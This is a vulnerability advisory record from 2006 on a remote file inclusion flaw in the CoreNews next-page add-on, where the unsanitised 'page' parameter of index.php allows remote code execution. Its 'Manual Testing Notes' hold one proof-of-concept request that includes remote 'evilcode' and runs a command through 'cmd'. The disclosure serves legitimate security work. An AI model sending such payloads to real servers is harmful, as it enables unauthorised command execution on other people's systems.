CoreNews next-page Add-on index.php page Variable Remote File Inclusion

2006-03-09T15:30:02
ID OSVDB:24080
Type osvdb
Reporter Botan(botanlinuxmail.org)
Modified 2006-03-09T15:30:02

Description

Vulnerability Description

CoreNews contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to index.php not properly sanitizing user input supplied to the 'page' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

CoreNews contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to index.php not properly sanitizing user input supplied to the 'page' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/index.php?page=evilcode?&cmd=id

References:

Vendor URL: http://corenews.icestyle.de/download/new_next-page Mail List Post: http://attrition.org/pipermail/vim/2006-March/000602.html Mail List Post: http://attrition.org/pipermail/vim/2006-March/000601.html Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-02/0770.html ISS X-Force ID: 25180 CVE-2006-1212 Bugtraq ID: 17067